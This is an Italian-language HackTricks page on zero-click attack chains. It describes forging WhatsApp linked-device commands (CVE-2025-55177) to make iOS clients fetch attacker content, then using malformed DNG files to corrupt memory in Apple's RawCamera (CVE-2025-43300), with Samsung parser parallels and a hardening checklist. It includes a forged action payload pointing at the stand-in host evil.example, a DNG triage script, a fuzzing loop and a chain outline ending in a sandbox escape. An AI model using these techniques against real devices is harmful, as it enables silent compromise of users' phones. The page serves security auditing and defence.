Zero-click Messaging → Image Parser Chains
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Sintesi
- Considera i messaging app multi-device/companion protocols come canali di controllo remoto: se i campi del protocollo sono considerati provenienti da dispositivi di fiducia, potrebbero comunque essere controllati dall’utente e spesso possono essere riprodotti direttamente contro una vittima per caricare contenuti arbitrari con 0 interazione dell’utente.
- Una volta che qualsiasi app può essere forzata a recuperare media non attendibili, prendi di mira la shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) con file malformati per pivotare fuori dalla sandbox.
- I bug basati su DNG nel RawCamera e i parser Samsung discussi qui sono esempi concreti, ma la tecnica completa è uno schema riutilizzabile per concatenare difetti logici → corruzione di memoria nei parser di immagini → compromissione completa del dispositivo.
Remote content loading via WhatsApp linked-device commands
Riepilogo della superficie di attacco
L’architettura “linked devices” di WhatsApp mantiene il telefono principale e ogni companion (desktop, tablet, telefono secondario) sincronizzati tramite messaggi di protocollo strutturati e cifrati. Ogni messaggio codifica:
- Device metadata (device ID, capabilities, feature flags).
- Action descriptors (es., sync chats, fetch thumbnails, render remote content).
- Arbitrary parameters come URI, MIME hints, pagination keys, ecc.
Sui client Apple, l’handler che elabora questi pacchetti di controllo linked-device si fidava implicitamente che un pairing valido fosse già avvenuto, quindi campi ad alto impatto (es., resource_url, open_media, sync_snapshot) venivano validati solo minimalmente. Un messaggio companion malevolo poteva quindi:
- Essere instradato a qualsiasi account identificato dal suo numero di telefono.
- Sopravvivere allo stack di trasporto (Noise protocol + WhatsApp protobuf framing) perché il ricevente non verificava che il mittente fosse un dispositivo effettivamente paired.
- Raggiungere il client iOS, dove il percorso di codice vulnerabile innescava automaticamente una richiesta HTTP(S) background verso l’URL dell’attaccante e parsava la risposta in un WebView/renderer media nascosto.
Flusso di lavoro pratico per auditor
- Cattura il traffico linked-device legittimo. Collega un debugger o uno script Frida al client desktop/iOS e hooka l’handler post-decryption (es.,
LinkedDevicesSyncHandler::processAction). Dumpa i payload protobuf decodificati per apprendere i tipi di action e i parametri disponibili. - Identifica i campi che attraversano i confini di fiducia. Qualsiasi action che trasporta parametri come
http_url,thumbnail_uri,download_urlorender_htmlsenza rigide allow-list è una candidata come primitive di contenuto remoto. - Forgia un’action malevola. Riutilizza lo schema protobuf osservato e modifica solo i campi controllati dall’attaccante. Una vista JSON semplificata della struttura logica rilevante è mostrata sotto (il trasporto reale è protobuf/Noise, ma i campi semantici corrispondono):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- Consegnare alla vittima. Riproduci il pacchetto creato attraverso lo stesso servizio di WhatsApp che normalmente inoltra il traffico dei dispositivi collegati (es., usando un client desktop modificato o un client Noise personalizzato che riutilizza le chiavi dell’account dell’attaccante). Poiché CVE-2025-55177 non riusciva a legare le azioni ai dispositivi autenticati, il client iOS/macOS della vittima avrebbe accettato il messaggio e avrebbe immediatamente recuperato l’URL dell’attaccante senza alcuna UI.
- Strumentare il fetch. Osserva la richiesta HTTP(S) forzata e il renderer interno (WKWebView/ImageIO). A questo punto possiedi una primitiva di consegna web zero-click all’interno di WhatsApp.
Sfruttare i DNG auto-decodificati contro RawCamera
Una volta che l’attaccante controlla ciò che WhatsApp carica, l’obiettivo successivo è far sì che iOS/macOS analizzi un file Digital Negative (DNG) maligno con il framework RawCamera. Qualsiasi URL incorporato <img>/CSS che risolve in un .dng sarà passato alla pipeline di immagini di sistema, invocando RawCamera anche se WhatsApp stesso non ha mai gestito esplicitamente i DNG.
Attivare RawCamera da WhatsApp
- Fornisci HTML che riferisca il DNG tramite molteplici meccanismi (es.,
<img src="evil.dng">, CSSbackground-image: url('evil.dng'), o sorgenti<picture>) per coprire diversi percorsi di rendering. - Assicurati del MIME corretto (
image/x-adobe-dng) e di anteprime piccole in modo che il loader non abbandoni anticipatamente per euristiche legate alla dimensione. - La media sandbox di iOS trasmetterà il file a RawCamera in streaming tramite
CGImageSourceCreateWithURL, arrivando infine al decoder vulnerabile.
Creazione di DNG che corrompono la memoria (stile CVE-2025-43300)
Il bug osservato nel 2025 era più specifico di un generico TIFF malformato: il DNG conteneva dati immagine JPEG-Lossless il cui conteggio di componenti interno SOF3 non coincideva con i metadati TIFF/DNG (SamplesPerPixel). In pratica, RawCamera poteva dimensionare alcuni buffer a partire dai campi TIFF esterni e poi fidarsi dello stream JPEG-Lossless incorporato durante la decodifica, portando a una scrittura fuori dai limiti poi corretta in iOS 18.6.2 / iPadOS 18.6.2 il 20 agosto 2025.
Questo fornisce agli auditor una regola di triage molto più precisa rispetto a “mutate random tags”:
exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY
Se SamplesPerPixel e il conteggio dei componenti in SOF3 divergono, sei molto vicino alla primitive esatta discussa pubblicamente per CVE-2025-43300. Le leve adiacenti tipiche che meritano ancora di essere soggette a fuzzing una volta ottenuto il parsing path sono:
- Tile/strip descriptors: Imposta
TileByteCounts/StripByteCountsa valori realistici ma aumentaTileOffsetsin modo che puntino oltre il buffer allocato. - Sub-IFD chains: Incorpora immagini secondarie con
ImageWidth/ImageLengtheBitsPerSampleconfliggenti in modo che RawCamera calcoli un buffer piccolo mentre le fasi successive si fidano di dimensioni controllate dall’attaccante. - Opcode metadata: Manipola le voci
OpcodeList3in modo che l’elaborazione per riga operi su indici scelti dall’attaccante.
Un basic mutation harness per cercare tali corruzioni può essere costruito attorno a macOS, dato che lo stesso codice RawCamera è fornito su macOS/iOS/iPadOS:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
Ogni crash in RawCamera ti fornisce un nuovo primitive. Il PoC pubblicato ha ottenuto un out-of-bounds read/write sufficientemente affidabile da far crashare WhatsApp su iPhone, iPad e Mac.
Building the 0-click chain
- Linked-device packet → costringe WhatsApp a recuperare
https://evil.example/payload.htmlsenza alcun tap. - Payload HTML → fa riferimento silenziosamente a
evil.dng, garantendo che RawCamera venga invocato dall’OS media stack. - Malicious DNG → abusa di tag appositamente creati per innescare il RawCamera OOB e crash/own l’image decoder.
- Post-corruption exploitation → aggiungi info-leak gadgets (es. abusare di predictable heap metadata) e orchestra una ROP/JOP chain per uscire dalla WhatsApp sandbox e raggiungere contesti con privilegi più elevati.
Poiché ogni passaggio è automatico, l’attaccante ha bisogno solo del numero di telefono della vittima. Nessuna notifica, banner o prompt viene mostrato sul dispositivo target.
Recent Apple parser-chain patterns worth reusing
Questa catena WhatsApp → DNG → RawCamera segue lo stesso schema osservato nelle recenti campagne zero-click di Apple: trovare un involucro alternativo per allegati che raggiunga un parser meno vincolato, poi strumentalizzare un formato di file che l’OS anteprime attivamente.
- BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab ha segnalato allegati malevoli PassKit contenenti immagini, e Apple ha patchato
Wallet(CVE-2023-41061) eImageIO(CVE-2023-41064). L’analisi successiva di Project Zero ha mostrato perché questo è importante operativamente: l’attaccante non aveva solo bisogno di un bug nel parser, ma anche di un container che spostasse l’image parsing fuori dal normale percorso BlastDoor in un processo diverso. Quando si auditano app di messaggistica, enumera ogni tipo di allegato che attiva anteprime in background nei daemon helper (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews), non solo i più ovvi allegati immagine. - TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky ha mostrato che un allegato iMessage malevolo ha colpito l’istruzione Apple-only non documentata
ADJUSTdi TrueType (CVE-2023-41990). La lezione pratica è che i font sono cugini dei parser di immagini per il lavoro zero-click: le anteprime rich-text, il font fallback e la generazione di thumbnail possono tutti diventare punti d’ingresso del parser anche quando l’app dichiara di supportare solo “documents” o “stickers”.
La domanda ricorrente per l’audit è quindi: quali tipi di messaggi causano parsing silenzioso in un processo diverso dall’ovvio renderer della chat? È di solito lì che inizia la catena. Per il triage di sample e i controlli di coerenza cross-field una volta che hai un file sospetto, riusa this generic structural file-format detection page.
Samsung vendor image parser parallels
Il bollettino di Samsung per CVE-2025-21043 ha confermato che il loro stack proprietario di image parsing (usato da Gallery, Messages e anche indirettamente da WhatsApp) ha subito un out-of-bounds write raggiungibile tramite media non attendibili. La metodologia di exploitation rispecchia la catena Apple:
- Identificare un vettore di auto-preview (chat thumbnails, notification previews, share sheets) che parsifica il file dell’attaccante con le librerie
libimagecodec/libOneUI_ImageDecoderdi Samsung. - Differenziare gli aggiornamenti delle librerie OEM o fuzzare i parser con RAW/DNG malformati finché non si osservano corruzioni di memoria simili al crash RawCamera (clobber di heap metadata, controllo dei registri, ecc.).
- Veicolare il file craftato attraverso qualsiasi canale che già carica contenuti automaticamente (es. lo stesso linked-device primitive, i fetcher di preview di WhatsApp, o le preview delle waveforms push-to-talk di Android).
Una volta che esiste un OOB write nel parser del vendor, combinarlo con il WhatsApp auto-fetch primitive genera un’altra catena zero-click sui dispositivi Samsung.
Testing & hardening checklist
- Protocol validation: Applicare liste consentite rigorose per ogni azione linked-device. I comandi del companion che richiedono un fetch/render devono provare l’accoppiamento del dispositivo (signing del payload) e l’URL dovrebbe corrispondere a una allow-list o a un blob firmato.
- Transport replay countermeasures: Legare ogni azione a una chiave per-device e rifiutare pacchetti la cui sender key è sconosciuta, anche se la sintassi protobuf è corretta.
- Media pipeline restrictions: Le app di alto livello dovrebbero permettere solo MIME types approvati e rifiutare esplicitamente RAW/DNG a meno che la funzionalità non sia richiesta.
- Parser fuzzing regression tests: Mantenere una corpora di RAW/DNG malformati ed eseguirli contro RawCamera/vendor decoders dopo ogni aggiornamento.
- Crash triage automation: Allegare sanitizers con
DYLD_INSERT_LIBRARIESo MTE sui dispositivi di fuzzing per catturare condizioni OOB sottili prima che lo facciano gli attaccanti.
References
- DNGerousLINK: A Deep Dive into WhatsApp 0-Click Exploits on iOS and Samsung Devices
- Project Zero: Blasting Past WebP
- Quarkslab: Reverse engineering of Apple’s iOS 0-click CVE-2025-43300
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


